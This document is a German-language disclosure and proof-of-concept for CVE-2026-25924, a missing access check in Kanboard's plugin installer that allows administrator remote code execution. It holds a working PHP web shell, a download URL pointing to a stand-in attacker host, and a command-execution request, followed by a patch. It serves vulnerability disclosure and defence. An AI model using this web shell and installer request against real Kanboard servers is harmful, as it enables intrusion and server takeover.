
Proof-of-Concept-Exploit für CVE-2026-25924, das administrative Remote-Code-Ausführung in Kanboard durch eine fehlende Zugriffskontrollprüfung bei der Plugin-Installation demonstriert.
Proof-of-Concept für Administrative RCE durch Umgehung der Sicherheitskontrolle
Offenlegung: Ursprünglich von mir gemeldet über GHSA-grch-p7vf-vc4f
⚠️ Nur für autorisierte Penetrationstests/Forschung.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-25924 |
| Schweregrad | 🔴 Hoch |
| CVSS-Score | 8.4 |
| CVSS-Vektor | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: Falsche Autorisierung |
| Betroffenes Produkt | Kanboard ≤ 1.2.49 |
| Gepatchte Version | 1.2.50 |
| Advisory | GHSA-grch-p7vf-vc4f |
Eine Schwachstelle zur Umgehung der Sicherheitskontrolle in Kanboard v1.2.49 ermöglicht einem authentifizierten Administrator, vollständige Remote Code Execution (RCE) zu erreichen. Obwohl die Anwendung die Plugin-Installationsoberfläche korrekt ausblendet, wenn die PLUGIN_INSTALLER-Konfiguration auf false gesetzt ist, prüft der zugrunde liegende Backend-Endpunkt diese Sicherheitseinstellung nicht. Ein Angreifer kann diese Lücke ausnutzen, um den Server zu zwingen, ein bösartiges Plugin herunterzuladen und zu installieren, was zur Ausführung beliebigen Codes führt.


Kanboard verwendet eine Sicherheitskonstante PLUGIN_INSTALLER, um die Möglichkeit zur Installation von Plugins von Remote-URLs einzuschränken. Diese ist in app/constants.php definiert:
Datei: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
Die Anwendung prüft diese Einstellung korrekt in den UI-Rendering-Methoden des PluginController, wie show() und directory(), unter Verwendung von Installer::isConfigured():
Datei: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
Allerdings führt die install()-Methode im selben Controller diese Prüfung nicht durch. Sie validiert nur das CSRF-Token, bevor sie fortfährt, ein Plugin von einer beliebigen URL herunterzuladen und zu installieren, die im Parameter archive_url angegeben ist.
Verwundbarer Code in app/Controller/PluginController.php:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Da Installer::install() ebenfalls die Konstante PLUGIN_INSTALLER nicht prüft, kann ein Administrator die beabsichtigte Einschränkung umgehen, indem er den Endpunkt direkt mit einem gültigen CSRF-Token aufruft. Nach der Installation wird das bösartige Plugin automatisch vom Kanboard\Core\Plugin\Loader geladen und ausgeführt, was dem Angreifer vollständige RCE gewährt.
Erstellen Sie ein Verzeichnis namens Exploit mit einer Datei Plugin.php:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
Komprimieren Sie den Ordner und hosten Sie ihn auf einem vom Angreifer kontrollierten Server:
zip -r exploit.zip Exploit/
python3 -m http.server 80

Melden Sie sich als Administrator bei Kanboard an. Holen Sie Ihr csrf_token aus dem Seitenquelltext und navigieren Sie zu:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

Verwenden Sie den Parameter cmd, um beliebige Systembefehle auszuführen:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


Diese Schwachstelle ermöglicht es einem Administrator, vom Host auferlegte Sicherheitsbeschränkungen zu umgehen. Durch die Erlangung von RCE kann der Angreifer:
/etc/passwd, config.php).Fügen Sie eine Prüfung auf Installer::isConfigured() am Anfang der Methoden install() und update() in app/Controller/PluginController.php hinzu:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}